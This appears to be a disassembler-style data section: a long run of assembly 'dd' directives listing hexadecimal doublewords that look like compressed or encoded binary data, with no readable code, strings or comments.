dd 0DFEE516Dh, 0ABFF4EC0h, 0C8370926h, 0A9B2E79h, 0BA9DD7D5h dd 73F7CB3h, 6E981E5Ah, 63DBC9E4h, 67F35E16h, 7C8213F9h dd 0EFC9582Fh, 0EC741514h, 38DFEFBAh, 79B9BBC9h, 1A4A4A72h dd 0BD6D5D36h, 0FC72374Ah, 4CA4CA50h, 222512F4h, 0C96A72AFh dd 0B4B38AB3h, 834AB309h, 5C9D99A6h, 4D1DF770h, 29F93CF1h dd 7BFE22A5h, 792E5079h, 659B151Bh, 0FAB7EFFEh, 7DCF8F7Fh dd 0DF0D02DFh, 365EE531h, 2793ACDEh, 0BD6657A1h, 0DA56AE18h dd 78A3B8B8h, 0FEEB7765h, 9154E567h, 0FA3CBE4Ah, 734D9366h dd 0FE2728B6h, 9FFE61C1h, 0F17D1F7Dh, 0BE979F4Dh, 4AE7BADDh dd 3DCFC743h, 8D66D3A6h, 3BFFFD26h, 1F51D750h, 0C8E60CF5h dd 0DC925385h, 0B54BDC59h, 9AD4837Fh, 443F7B1Eh, 0F4A0AB5Fh dd 0C5A290B7h, 0C0FFD978h, 9FB5AF9Eh, 0FD39ACF9h, 7EA377E5h dd 9FCFCBE1h, 0D1FDF71Ch, 6DF50DE7h, 0E0C73E37h, 0D5AE2EC3h dd 1FCC5322h, 0BF16FD17h, 9ACDF7D0h, 4862FBD4h, 0DCA3F9A5h dd 95CB3438h, 93411D5h, 0B68BFFF2h, 0C3289EE5h, 0E66A1782h dd 0F5CEF29Ch, 0ABAEEF2Eh, 4D817C54h, 744CBFA5h, 9D0F4570h dd 0D72CD94Dh, 33DFD912h, 0FB9FFC61h, 6A3FB85Ch, 29ABF2C9h dd 0F79DFF5Fh, 0A1925646h, 0FCAEAD65h, 98F17359h, 0DFEAC677h dd 4DF96322h, 2EFFA46Ah, 0DA8F91E8h, 0E57A0DD4h, 9C0FF7E6h dd 926E593Ah, 0DDECC594h, 9AE57679h, 0D25ABF07h, 5D226FB3h dd 0BFF2D4A3h, 139F96E4h, 0E9CFBDA4h, 0B31B2CE1h, 558BD22Bh dd 0B671553Eh, 7899DD1h, 5249D85Dh, 0D4E9E883h, 3D1F5FA6h dd 0ABD0F1ABh, 1E144F52h, 0CF943A1Fh, 0DDD190F1h, 14BC8E73h dd 0AFDACAB4h, 0A8F49CB7h, 5661C764h, 0E735CDF6h, 0FE6FF6F7h dd 0A57F360Eh, 5BD7BDC3h, 0EF95E815h, 0D798E26Fh, 0B3F4FC75h dd 0F709DFDBh, 601Dh, 0 dd 10000000h, 434A1001h, 3Ch, 0 dd 20D83216h, 12580BFFh, 0C28A60D4h, 3F0B1BC5h, 0C7FFF682h dd 310008DCh, 0B6427Ah, 46340317h, 48360261h, 7CA07AFEh dd 6098611Ah, 7099F443h, 0E7C30000h, 3Ch, 10012000h, 1000434Ah dd 0 dd 24100000h, 9FF420F3h, 63B41228h, 4485A780h, 0D0940118h dd 26018533h, 65B91184h, 5B26D2D7h, 75905B8Ah, 12287329h dd 0A536B126h, 0EA7CF65Bh, 0C36EDE7Eh, 0F414C522h, 0BCE90542h dd 9B154A65h, 3BCDC2B6h, 2A81C8B9h, 8CED0589h, 7377CB7Dh dd 70519091h, 9057324Ch, 0AB5A6F16h, 2EB66114h, 4584F5Dh dd 843A1B65h, 4850141h, 2B008C19h, 12C229A5h, 4B4808DCh dd 3A002594h, 0E6D5930Ch, 394D35D6h, 0D9CA355h, 0DF781A5Bh dd 0FA04B50Ah, 0ADC86934h, 3EFB8952h, 2200F8C0h, 0EE11h dd 0 dd 30000000h, 434A1001h, 0AF77h, 0 dd 20E27D95h, 0DFFCD739h, 0BC80C438h, 787E3607h, 0BB62BC79h dd 2AB23FC7h, 0A7FE4BF5h, 5EDC47B8h, 92E27E80h, 28D15A71h dd 30596480h, 8C431A5Eh, 34502638h, 0C47860F3h, 57A5CF34h dd 90FC253Eh, 2C44881Ah, 0E2F85878h, 6492B368h, 0F958AEB5h dd 6AC607C1h, 0B984DBEBh, 0C5F81A89h, 0CC0CA93Eh, 283ADE78h dd 368A5596h, 0E16F064Eh, 45D3EDAAh, 0C81EE041h, 0D7C3C51h dd 0BD9E070h, 90F7E62h, 56671620h, 0D938B0A9h, 5532202Bh dd 0B28A2592h, 0C744FEE0h, 3B87F7C3h, 0F0BD28B8h, 0C7E47FA1h dd 15A28697h, 87E03E11h, 0B04829D6h, 0C5D17F86h, 0E71F1080h dd 98E5D1BBh, 91C68340h, 55C494FAh, 706CBF88h, 4026E0ABh dd 0FE81F9E6h, 814FD7CCh, 2B99930h, 0F844AD1Bh, 0AE936100h dd 6BCAEA7Dh, 0F877FFD6h, 0A60E05B7h, 78944CF8h, 0EF53361h dd 736EB0EEh, 3039DC26h, 79BD3A40h, 8DA0C406h, 5DD23EDDh dd 0E6F6588Dh, 9FBB042Dh, 0CFAB5001h, 0AE1020EAh, 7FC52EB0h dd 829D0AB6h, 2FE206BEh, 0E92E1E69h, 24AF3431h, 0F8C1DF4Ah dd 1169F21Bh, 1240B9CBh, 45E80601h, 3C96643h, 0A5A610FDh dd 46F6A152h, 0B448E855h, 1EF56B03h, 0CAEAD125h, 7A82FEA3h dd 0BE4881DEh, 0F0A3A04h, 98AC1EA8h, 22AF5C3Ah, 86245DBCh dd 33EC5C57h, 0B9806832h, 13D20F49h, 35D91B0Dh, 0F6AB00CEh dd 0F6B2D226h, 867A8DCEh, 0BCE1F978h, 0B8CF078Bh, 4B44F78h dd 933F0560h, 127D153Ch, 0FCF7BCAh, 95FEE07Dh, 0D33C3DA7h dd 30FD6E05h, 0DCB55433h, 968CAD93h, 0E133075Fh, 25FF0EA4h dd 0CA7D7FB8h, 0BF5E07CBh, 8F2F39B2h, 1AE8E27h, 0BA9259ACh dd 770029B3h, 0C5AAB8BFh, 6545B04Fh, 0E018FC38h, 0C7281608h dd 1A8AA9ECh, 3401808Ah, 7AC2D0C7h, 1A3081FAh, 644FF909h dd 0E4B4093Fh, 0CF018C72h, 160D3CDAh, 0B1FC4746h, 8C945C0Dh dd 7F3B0966h, 66D192B9h, 979CD6A0h, 715E0028h, 44303E2Fh dd 5DC2C557h, 2FF2EDF3h, 21B8C07Dh, 0D2C821E6h, 3C51F060h dd 6C74BE46h, 82B31755h, 0FE7DA54Bh, 28240E52h, 8D6AEE61h dd 7FA03BFEh, 0E5704946h, 703F1FCEh, 33315C87h, 0E2629930h dd 6C3BEFB6h, 5988E141h, 0A7C67B1Ah, 0D1E29009h, 0AD94D46Dh dd 122D0412h, 3359C0F2h, 70F6299Dh, 6D23DC45h, 0A7EF7CFFh dd 17EA01DFh, 32924961h, 0F0566BBCh, 3AA812F0h, 0A1A0DDA5h dd 0EF704C43h, 2B70FC7Fh, 0EEAE3677h, 2A5D4F17h, 0D8C3C724h dd 9C1E4429h, 4F233981h, 7018A882h, 0CF737CA1h, 0D258F2BCh dd 994624D2h, 9A162FBDh, 5E28A08Bh, 67AC181Fh, 8428EE00h dd 0E17E01BFh, 54724EB2h, 891F35E0h, 53F4A966h, 8BFE2698h dd 8CE579AEh, 9284A101h, 119E0B3Dh, 4A82A245h, 83E27E31h dd 1453980Bh, 0E9404AE5h, 512A2D67h, 75E35C30h, 65196B4Dh dd 0C8CC1248h, 61EAC3Ch, 0B0B81CF4h, 74E650ACh, 7E5C302h dd 82DBA845h, 0EA4040Ch, 0BF1C6147h, 0E9F6AD13h, 7DF462A3h dd 581F0856h, 0AE5B5AFBh, 97A01105h, 0FE5EFB83h, 0E08243F1h dd 0B3B9281Ch, 675A4487h, 345926EBh, 0DDA2895Fh, 6601D108h dd 52FCF870h, 7D05289Dh, 0DB9B0600h, 0BBE6D8C3h, 0F05BAA6Ah dd 899706F3h, 7BFBD970h, 0F0B3F862h, 0E42D224h, 65E8381Fh dd 1F9BF1A4h, 26DEE6BFh, 7E0E7DAh, 3BB925BDh, 0D3379A6Fh dd 0F4F720A0h, 0E35A25D5h, 0A05BD06Fh, 0B1644EC4h, 0FB20678Eh dd 0C01BC4CBh, 2FFE1AD6h, 785EDF8h, 0DD6EEA72h, 153A77B3h dd 92A781EFh, 92C372E8h, 5020CB21h, 103EA834h, 1CFC9AD4h dd 56E5A17h, 0F7E8AD81h, 52D4EA22h, 0D1C46E84h, 19B949D4h dd 380BF110h, 0AC1CF6A9h, 9614C220h, 0E8760C87h, 0A1029B87h dd 0AAB3E26h, 6EE76776h, 0F428D75Dh, 240E0BC7h, 59593911h dd 5318CFF2h, 92245293h, 1A853C9Fh, 764CD621h, 68054BC5h dd 57EF0778h, 0FE410332h, 0A5D06CCh, 3588D8BFh, 234913FAh dd 4CF34E2Dh, 0BC5DDA5Fh, 0CDBC6FF0h, 1B148B4Fh, 96FC1F53h dd 0D919FD6Ah, 306A5A6Ch, 0E347EC53h, 78E803C5h, 1FEB0FC3h dd 0ED2EA08Fh, 0D5ED3731h, 0EA88EBE4h, 9226D224h, 0BD0B8ED3h dd 17127256h, 0C8DC91BEh, 0D7499F3Fh, 32043AADh, 0CDA3EB43h dd 1BFDBC1Bh, 86B2C589h, 0F65A3B7Dh, 0C043F818h, 0C5F96BABh dd 415D8F1Bh, 68D8A0D6h, 0D179B86Dh, 7E564370h, 0B710B63Fh dd 81782BE0h, 0D328AF65h, 6B88D63Dh, 0BD44F721h, 0ED43825Ah dd 3157B47Eh, 4E37615Fh, 37C78103h, 0F9EA839h, 86A1A8DEh dd 1A760797h, 77E7D47Ah, 0CA7114FFh, 9EFAA9CEh, 88826D92h dd 30FC65Fh, 6D40F185h, 0EF81AF03h, 9D0BEBB6h, 3A7BE07Ch dd 691F5809h, 6A765725h, 8C2E4E1Bh, 3AD07B4h, 0E42A2DD1h dd 0E41B7423h, 2D46B15Ah, 0DA71327Ah, 0B015C543h, 11202975h dd 0B2F68EFEh, 19A41B73h, 3A5260ECh, 40C2AEA7h, 5E59BC82h dd 0DDD4A36Ch, 749DA38Eh, 0C611AC1h, 89C5FEB0h, 0F3C9202Ah dd 0DF263B8Eh, 0BDAF6392h, 54464015h, 292113ABh, 607E6033h dd 48DC880Fh, 0EAD81E3h, 633DBECCh, 3ACB7020h, 0E5304A1Ch dd 25FA80B7h, 0FB40AF08h, 60EFBF05h, 0BF4C05CCh, 2FF7B913h dd 7E8236FCh, 0F8CA61FFh, 2A578B05h, 29C2CA23h, 74B92D14h dd 4CED005Fh, 0ADD12CB8h, 4AF9F81Eh, 0D4D2A530h, 798EDFDFh dd 30F14922h, 0D28497B7h, 95FD2950h, 3CBD3622h, 4A145439h dd 0B688BD59h, 0B458D7A1h, 0BEC859C4h, 152BEB47h, 1A9D67D9h dd 17C0FDB6h, 0BC1F94F0h, 1B743092h, 925882A7h, 0E805B64Dh dd 0D5A24FDEh, 0C3EBEF5h, 4AB2EF26h, 0C8E380B4h, 919ACB5Dh dd 0E6A684D0h, 6463E8Dh, 0F1D1B709h, 779D235Fh, 35EA5910h dd 0A886F625h, 5FC0F1F6h, 33CBBDD5h, 0AB89DD69h, 1AC58871h dd 46A4E079h, 0F90AA543h, 0B605BB29h, 3E268BE4h, 2E53C1E8h dd 43F1EA54h, 6732B54h, 46F87A2Dh, 12FB5DB6h, 74B8A44Fh dd 8A5EE365h, 0FE3E836h, 9F934193h, 1DE4832Bh, 0F7545408h dd 0E01E6FBAh, 0F8139A4Eh, 2E5CDF07h, 0CF58ED52h, 94CCB0B1h dd 7A1A37B1h, 4A41BFD1h, 949B4F0Eh, 46CFC116h, 4E217898h dd 2D036EF7h, 30E12569h, 15DFFDFh, 83C085D4h, 0B17D00C1h dd 688B2B7Ch, 4DDD6ABh, 86A1395Dh, 53322FEFh, 0AF8516E4h dd 954816AFh, 733ECE07h, 0EF5CDC7Dh, 0BA614369h, 0DA246496h dd 2FD90FC1h, 0C79ABAB4h, 5638EA12h, 370FCF56h, 392DE4CEh dd 0B0AA25C6h, 3397B941h, 0DC666017h, 0F9B2284Fh, 1A70FACh dd 2D1AD118h, 81F3E67Fh, 32FE4BE0h, 37F87166h, 0F478202Bh dd 0D0E2303Eh, 7F078E68h, 4A1F89CDh, 56429F93h, 0BF0BAE2Bh dd 93817BC6h, 0FA0B257Ah, 36DFE260h, 46EFD758h, 803367F0h dd 63EB885Ch, 8AA32h, 189AA945h, 6B16D64Ah, 9B3889A8h dd 284E651Dh, 6E5AC9F0h, 0AD52B873h, 0B5C47B1Bh, 80501894h dd 0C991BA9Dh, 0A68C3054h, 946B3D29h, 8F5B165Dh, 65D46DBAh dd 0ED124AE3h, 0AB89D524h, 90407484h, 29947BF1h, 1C63C87Dh dd 0FE5C5D36h, 19A84C8Dh, 0BB65EB07h, 0DDD694E7h, 0D4C6733Fh dd 3DC23923h, 6D1C38B7h, 61B5D4B2h, 43F19A4Bh, 0C8B5FC41h dd 0BB312087h, 0E07778C0h, 43E7DF12h, 0B3E955A2h, 8ABE2D5Bh dd 72CEDD9Ah, 40A77E00h, 800B7856h, 142456A5h, 492AC568h dd 0A4750117h, 41476D93h, 0A758414Ch, 365C8B0Ah, 574BC17Bh dd 9855095Bh, 7718E0F2h, 6260437Ah, 8E8685F2h, 72836516h dd 3B6B9129h, 0D4F3ADA7h dd 52875AEFh, 0C1782D36h, 5D2C591Ch, 50426276h, 0E4D073E0h dd 0D34DB53Fh, 5AD607E5h, 90EBEEF1h, 40EBF393h, 5A3A78E1h dd 4BC9C55Ah, 0D0B04710h, 52E483E5h, 2DBCA438h, 0D859691Bh dd 0FC3F050Ah, 565E2D16h, 4EAD9B30h, 11B9ACE2h, 0D0862F7Dh dd 0CCD4A8B8h, 2A3A14BEh, 177D462Bh, 0AB60862Dh, 37BFC43h dd 0E3D9CDA8h, 75606C12h, 47064BFAh, 0E4C00937h, 6E9038D5h dd 34E02B9Ch, 9F3549C3h, 0CF29A19Ah, 456F8AA4h, 0D471D91h dd 5B8566ADh, 2E011520h, 0C5C440ADh, 199C7138h, 38D01DAEh dd 65B55A90h, 6DC25F5Bh, 6CBD3D32h, 0DD0B07DFh, 8FEACF44h dd 9A5DCCEh, 43F007DCh, 0B4303C2Fh, 0E5EE9F33h, 3085521h dd 0B47B3C3h, 14FD0727h, 0C3A9D880h, 0DC143831h, 64C34F23h dd 37015BDCh, 7ED143ABh, 0B72B59A8h, 1591E2D1h, 0E833AB72h dd 5C74BC7Fh, 5FB4A80Ch, 73D0E4B6h, 1C9029EEh, 5892D578h dd 0D4B136B7h, 45C80CF8h, 0A177A089h, 0DFDEA5C3h, 0CEBD00Dh dd 63A97C7Ah, 285ED6F7h, 0E121EC29h, 40905A39h, 35918BC0h dd 3B6D1116h, 0BE21DE2Bh, 0DCCD42C2h, 43838951h, 5CA44822h dd 5D29AF07h, 0C102CCC0h, 0DBA05949h, 14592F35h, 0B14FD4D7h dd 6A768CACh, 821B923Fh, 81E1DAB0h, 70997384h, 0B5834764h dd 56FF267Ch, 30B80D2h, 9704868Eh, 860E7A09h, 0CA735429h dd 0B86DD660h, 0EF574079h, 31B4A1C3h, 0B22C2C0Ch, 683A60B1h dd 0F15580DBh, 671B4B9Dh, 694AABB4h, 81032B02h, 29014DFEh dd 8122F405h, 0A3377A05h, 4604F71h, 4007742Ah, 0A0C6F31Ch dd 68065C26h, 4E5331Dh, 46244230h, 0E604F714h, 405F4690h dd 4E11A6F4h, 0FC620D14h, 347518E3h, 0D1424D45h, 31354638h dd 0D1863462h, 85432C69h, 0F3206A85h, 53798B1Dh, 15484954h dd 96B8D379h, 0E4E88B08h, 184D7A58h, 2E994B22h, 77739BECh dd 0C57B40C9h, 0ED6B497Fh, 99F4AA55h, 0C5D17D1h, 0F92720CEh dd 485900C2h, 0CAB13CF6h, 2CB59837h, 980B06E0h, 0A49610E8h dd 2C56A1F8h, 4D864817h, 316B8C09h, 6F8C607Ch, 0F8AF0CB3h dd 0C05F8F0Ch, 8EFF71F5h, 2B47423Fh, 23C92A9Eh, 0A70D2079h dd 0F0E64264h, 3B6D7C2Bh, 44D2CEA8h, 50956828h, 0DF704F80h dd 0AE7B3E3Ah, 404B6076h, 2BB4DB00h, 29EA1B7Ah, 0FAF12B99h dd 68E96BD7h, 0CED3E1BDh, 68A07284h, 0FDB61ACh, 9DE0F021h dd 0F55C5866h, 7E7312C2h, 0B9DFBF0Bh, 93D5AE51h, 81970DFBh dd 5C8B373h, 0A6FE1F80h, 0ACAE74B7h, 46738BE7h, 0D7F026BAh dd 9D2E2FB4h, 0BFC7696Bh, 0A367A07Ch, 0D33C1A26h, 0FA3B77C4h dd 0BB6DDA0Dh, 570DB24Eh, 0DE310E0Fh, 0BE13E843h, 434ADD66h dd 3ED31571h, 0C93CB99Ch, 3CA3EFC6h, 0D049BF34h, 8039CEC4h dd 61F85E85h, 4C50C969h, 0CF40F900h, 43C5FCE0h, 78502AF1h dd 0CB7BF6D5h, 0F1B379B3h, 8D578269h, 57C184FEh, 429B81E5h dd 6DB15988h, 697F9417h, 0FC4BF611h, 862E9C9Dh, 373A773h dd 0EDF7EAE7h, 5596BAD2h, 5573F139h, 3FB503D3h, 91764AC3h dd 0DA571E10h, 0A2F5C360h, 0BBC28107h, 4EDB0495h, 0BF8F895Eh dd 9F4D1F6Bh, 7F3EBB7Ch, 29413358h, 5C456C07h, 0F6AE033Bh dd 8E50197Eh, 0B421B1A2h, 0FB0B5F1Fh, 740599C7h, 6786A8DBh dd 14514314h, 0DF20EE61h, 0ABA097BCh, 0EBAAD389h, 0F402DFDFh dd 88283CD1h, 246F7514h, 0B36A511h, 0AA77999Bh, 0F195739Dh dd 80AA8820h, 0DAE2F915h, 85582586h, 7BAA78D0h, 90704B41h dd 6D19CC46h, 870B58E8h, 0F03024EBh, 738934E8h, 759B6AAFh dd 0C8C42F6Ah, 7338A7A1h, 0DEFD317h, 4F809FBBh, 13442BE8h dd 0DFC7617Ah, 0A0A49469h, 3E9F8048h, 0DDD37397h, 0F030F154h dd 284A69A7h, 92F587E1h, 4EF9C04Bh, 7EF804C4h, 0E75543E6h dd 0DA3BB915h, 3B1B907Ah, 1F8BBFD3h, 0C4E3EED1h, 697DE79Eh dd 0C667E982h, 0DFBAA7E1h, 0C12B5FD2h, 0E0F2A179h, 0DB47266Bh dd 44AE8CA7h, 345C396h, 5B4157DFh, 45981350h, 429F828h dd 0EC1E96CAh, 86E244B7h, 1675730Ah, 1EDFD57Ah, 76D8F817h dd 0B205C48Bh, 1B45E65Ah, 227BB1AFh, 0C44D9562h, 0B08AE23Ah dd 58F3E17Dh, 0D0C0D4C0h, 6751E481h, 0FF8D79B2h, 1A3984B8h dd 1977B0F0h, 49250901h, 5C5C2C2Eh, 2517868Ch, 6C9C700Bh dd 325750E7h, 0ECABCFF6h, 51DA72B8h, 5CC7F3C0h, 0A751E429h dd 4C2EB17h, 0C581760Dh, 0EC27CFDAh, 0E0179FAh, 7EBC6CC7h dd 0BBA3E195h, 0B7904F6Fh, 48D4CC15h, 680A795Ch, 0D7CE90CEh dd 0E281CAC9h, 0CBAC2ADCh, 6CD54190h, 889965A5h, 0D9B44A76h dd 0FBC7071Ah, 1DC174B2h, 75181FEEh, 0AD68A1C3h, 0F4D0E74Bh dd 3365F5C3h, 658BF3B5h, 5F6D24ADh, 46B32710h, 3A65C98Ah dd 0F2B5B91Eh, 46E8E8B8h, 3E8CCCCEh, 9AEC0E34h, 1194C002h dd 7D9FCD8Dh, 82C6ECCBh, 0E667702Ah, 0C2B3A994h, 1492C81Fh dd 0BD1AFB56h, 69F4EC35h, 0BCAF1B0Ah, 301D4508h, 9894AEADh dd 13EECEFEh, 0A053AFC0h, 70C36B61h, 1F7EB340h, 0EDD557C0h dd 0F6B57E58h, 448A2DBDh, 0DDDF9235h, 8B6E0F5Ah, 658FEC4Fh dd 80A787Eh, 0D78069C0h, 3E44B2CDh, 0CDBE94Fh, 7C4A27Ah dd 78E0AD32h, 4624A8D8h, 0EC2DA345h, 7D8AE454h, 0D0A7B6B2h dd 98C2FE0Fh, 6D03B146h, 5004A250h, 7EBAA44Bh, 9FFBB551h dd 0C584F6B7h, 82339EB1h, 492A7562h, 23A72642h, 77FD4B05h dd 1611CE84h, 0C51BFBDFh, 60F0D0Dh, 2DCBB44h, 923F2FB9h dd 2F82574Fh, 267A52B7h, 0D53E87E2h, 0AB16F068h, 704A6E13h dd 0B80935BDh, 0C0B76A6Fh, 0D8BFB2BCh, 79DF8EFCh, 0CF8A1310h dd 3A8097D5h, 0EBEBA4F8h, 0DB645F13h, 58A6195h, 43762599h dd 682494D5h, 0AAABA78Dh, 0F297DA26h, 0B598DE2Ch, 0E7078D1Fh dd 5220D7FDh, 0EE74A558h, 65AF9316h, 8C3A9607h, 6494B46Dh dd 688A20B6h, 565A1ED8h, 0AEF60785h, 62C1C7BFh, 6F6FA9F0h dd 0ABC3F015h, 1868D7F3h, 77D68C7Eh, 0C82CEC38h, 1FBF48A7h dd 62ADEAB8h, 72C0D6C7h, 0A5D3B09h, 641F2897h, 0ABD02B9Bh dd 49805BF2h, 6C7C3579h, 19249F69h, 0E708152Dh, 16046B67h dd 6DBE0FD4h, 0DD02F89Fh, 74D011F1h, 529509A3h, 0CF9135FEh dd 5602B84Ch, 12DF106Ah, 43F03B89h, 2BF0B409h, 0BBBA961Fh dd 0F403A733h, 55073446h, 0E53D9854h, 96760CD5h, 0F17F8558h dd 4065FEFh, 23871353h, 0D934DB06h, 0BF4D8CE5h, 0F28CB5F0h dd 0A9D26526h, 0CE3D5A87h, 4D50E0A5h, 0D9CA73D4h, 936CD4C8h dd 0F7067870h, 943C7079h, 5EC4B9D2h, 755B4B01h, 17CBBD4Bh dd 0A935015Ch, 66921F86h, 0D82F101Bh, 0DABDBF13h, 0B9041CF7h dd 0CF0F7D23h, 0BF55A2Eh, 7152A49Ah, 54D158DAh, 0D5B47217h dd 2C28DB62h, 9E7B4A18h, 0BA5CF0A5h, 321778B4h, 4D2F4A0Dh dd 35478D8Dh, 82EA3BCBh, 5D22A081h, 6A8E3963h, 5F4187F3h dd 955D950Bh, 2A35FADFh, 68F0D402h, 0DF05CEC5h, 0F9421773h dd 0E4B4DECh, 6F7B07FBh, 0F70142B8h, 0D4E77BD6h, 0B5426DBCh dd 0BC1E2C17h, 263B7DDh, 0D7E6C0E7h, 4F17C5CCh, 76AF10h dd 56BC2AC5h, 7E420BF6h, 9BA5A47Ch, 0A5AED675h, 0BEEDF9CEh dd 9288B77h, 9E19155Eh, 5F8980D6h, 5A4494F1h, 5C4BEF64h dd 692E1598h, 70ADB0FCh, 2EC726EAh, 4FB6F0E6h, 3B1EAB38h dd 981F76EEh, 2983551Fh, 0AFDE5783h, 0EB8BE716h, 0C8ADF09Eh dd 4DA3259Fh, 6AD6DAF9h, 30BD61DEh, 0C0B4B91Ch, 83871EE6h dd 0C2A4810Ch, 75A11387h dd 7D6614CFh, 52EA768Ch, 45327F62h, 0ADE07E78h, 6F164DC7h dd 9AE11655h, 106D1EE0h, 97865BEAh, 0A42E8E89h, 68ECE0C5h dd 2F8D7055h, 0B49B27D7h, 0C0F2B637h, 8DA52967h, 0A37B73CCh dd 0F30BFCAFh, 757A9F85h, 5AF2F3D1h, 3C506441h, 0AE9A3571h dd 3EB8236Dh, 0A9181F8Fh, 12A9E6D9h, 816A9701h, 0CEFD779Bh dd 0FC553A6Fh, 0B5FC66B9h, 76BDC5B3h, 0CDEEEDD5h, 0ED1EB83Fh dd 41B95383h, 59C0FDC8h, 0F2E3BBC8h, 5CF794BEh, 4847711Eh dd 0CC7C90BFh, 9F499FDDh, 5B0BF1FBh, 363EFF3Eh, 0D1BBC3B4h dd 531A82A8h, 0DC980C40h, 0C3F6B0DFh, 7E95A223h, 458DFC95h dd 86CC564Ah, 6DE8233Dh, 0DF7D48E7h, 2D1BFCA4h, 0B895EC0h dd 0F3BF7F7Bh, 0E6BD4292h, 0B5178DECh, 40C2CD5Dh, 94F28BF1h dd 0A075FCACh, 473A1C39h, 78AF0DA9h, 4E4C990Eh, 0F9D56E0h dd 0B0D7D5D9h, 18393D95h, 5ACA978Eh, 124EFBBh, 44DC2CD4h dd 973FBF02h, 10BD68DCh, 3952DBF7h, 0EFCEB64Ah, 2D796117h dd 0A2DF6DAh, 0A755ADDAh, 337B1697h, 6F3E1512h, 0ED5346D0h dd 0AE98249Eh, 0C88D78EEh, 0C0D7C40Bh, 75C0758Eh, 6C5FB2AEh dd 53F2E063h, 667D0043h, 5F81F1CAh, 2A547743h, 8B81E8FEh dd 37D77C7Ah, 0E92E66FFh, 5AA7BFBAh, 4F6635Ch, 0F23C1E6Ch dd 2F03ED6Eh, 42243F56h, 0FA3E0F88h, 0A8A67810h, 296889D5h dd 11B4B7B5h, 0D05EC028h, 0EF9C9DA4h, 8FE62F4Dh, 8B58AFB3h dd 0BA2FE019h, 3E0F2023h, 89960E42h, 0AC785F02h, 7EAB2328h dd 2F0A94EDh, 0F05A46E8h, 17748F3Fh, 0A45195C4h, 94C56E33h dd 507B5F38h, 0DAE9BD86h, 0E6FC13B0h, 35F018AFh, 0F9326EE3h dd 0F14888FFh, 94F84AF4h, 4A0D947Ah, 14AC6F9h, 45C4BF3Eh dd 98495DB4h, 67B7130Ah, 601EE073h, 1C1F0C68h, 87AD2B6h dd 873BF171h, 0E7DD6800h, 0B3AD1841h, 0B508DB49h, 262B1305h dd 942D369Dh, 0CC8229D3h, 9B8ECE0Fh, 56978B80h, 2B9BAD7h dd 0CAAB214h, 52B2480Eh, 6E92471Ch, 9AD50E13h, 0BE64C5D4h dd 1B2B6A1Bh, 91DE918Fh, 0F2A3FD05h, 0D16F248Ah, 2AC0D26Bh dd 0EC66AAF6h, 12C7420h, 383C7820h, 0DC4252C6h, 4C87C3A0h dd 0AD74D79Ah, 48F21146h, 0DF9B452Dh, 5476FDF0h, 1373A6BEh dd 0FD60D0BAh, 5491BC73h, 109BD80Fh, 0C4A3288Dh, 0B6860166h dd 149205F0h, 3A55DAF4h, 0C1F0A28Eh, 0F678FB79h, 0D8F84607h dd 83E4377Eh, 9BB9AA9Eh, 0FBBA298Fh, 0C155AD1Ch, 0DC77424Eh dd 0A9E11BD0h, 0E07B72DFh, 0A549DB02h, 0F8E31434h, 41E2AD7Ch dd 0AD181DCCh, 2BBCACCFh, 7D3270FCh, 7EFE5AE7h, 61DD9455h dd 0AF7915BEh, 0EA21CF3Dh, 52BF4DF0h, 40D5116Bh, 0CD6DD116h dd 0E687086Ch, 0F174A2EDh, 51FF2DB7h, 475667ADh, 1E8370FBh dd 6EAF27EFh, 3C7F164h, 0BFB5D66Dh, 0F83C08DAh, 83C54AD9h dd 0ADF0A9A4h, 0D51B448Fh, 0B1B6F8BBh, 0DDA6E7E1h, 0BDB9040Eh dd 5670B94Ah, 34D8ECBh, 8833F602h, 1AA38336h, 3E1A02BCh dd 9C125C29h, 4246B9BFh, 7E9DA287h, 9CF02C92h, 9579809Ah dd 52A6985Fh, 0C97E47FAh, 8B968B0Bh, 84514822h, 796ACABCh dd 0EF6EAAADh, 1A979B72h, 0DDF01297h, 0B43421ACh, 84236E0Eh dd 0BA055AECh, 87DF832Eh, 0F0CFF8C0h, 5B9C769Bh, 265386E3h dd 0BCC62430h, 0DEA17E76h, 0DB693DF6h, 3C39501Bh, 0FD27202Bh dd 7DFEA568h, 0B1E1FA60h, 3B8E93E7h, 30BCD71Eh, 29743F01h dd 4A72B3Ah, 4A8FAA66h, 0F24307F5h, 84E2FDD8h, 0DAAFB371h dd 0BC779801h, 0F8F5AE37h, 16899FF2h, 970B5C48h, 6EB1942Ch dd 66906F70h, 0D7E589Ch, 0EDA254A9h, 0B4DDD96Dh, 6B03E2DEh dd 0E6A8C4BEh, 0EAE0F409h, 5BCE9360h, 0A66A7EFAh, 3AB2F9A3h dd 3B012638h, 0E1982CB1h, 7EF01C6Ah, 0BB345463h, 1D3597CAh dd 0D2D0EDABh, 0A13CA64Ah, 159D9945h, 383E681h, 6267D81Eh dd 3EEFBBF6h, 0FAAD1573h, 4D3D425Eh, 3F27B6CAh, 1411535Eh dd 9BF2EE3h, 503CBADh, 0AFF3F05Dh, 3691F90Ah, 0B27CF736h dd 0D6F2DDCh, 4DBCB736h, 0A72BF584h, 7D1D4CEh, 4F4D5979h dd 70349603h, 4DC1E3B8h, 915D3156h, 8A8EDF51h, 347F3B4Bh dd 4D523922h, 2FF2DB4Dh, 0A1F217F9h, 119C6DB9h, 52BE993Eh dd 0F97E1D5Ah, 8F3FC401h, 0F4D9AEA8h, 797C3440h, 4F2AC6FEh dd 0E08BECC7h, 0D4563367h, 0F259AD1Ch, 784CAD7Eh, 6CAA7741h dd 0CCFD3FC2h, 0D52D280h, 0AFABC2ACh, 0A3796718h, 1EBC06A1h dd 1C5F836Eh, 9596AAC6h, 56A2258Ch, 0AA365D25h, 0B8CA28EAh dd 7817B94Fh, 0D7A889DDh, 0E1D45689h, 0EDAFE411h, 7A368029h dd 5188029Bh, 82B51DEDh, 0C7DA20B4h, 0B985697Eh, 3222735Fh dd 8EE0BF0Bh, 3DA429B5h, 8194AD55h, 0C65B32FCh, 0CC74EC23h dd 0DF7EEAC2h, 684E1D5Ch, 3C0BB968h, 406D18ADh, 4293CDB0h dd 0DF3FC4C5h, 0B421EC19h, 0C99F7407h, 6FB6273Ch, 253725FBh dd 350AA509h, 7892B8FAh, 0E67E8856h, 0CFED1A0Ah, 0FB098AE8h dd 0CF6E8F5h, 269939C9h, 9A48CA4h, 0DD6493Fh, 73982EABh dd 83C685B7h, 1A2A9646h, 0B171B7Bh, 0B12D15C7h, 4566E25Dh dd 0F0F2895Fh, 0A223A5D6h, 0EDE342F3h, 8BE2D75Bh, 0A0975A37h dd 58D2FC0Ch, 0A57E91F4h, 4AED0DC5h, 0B8C360FFh, 4D66567Eh dd 8B9DA976h, 0D9E078DCh, 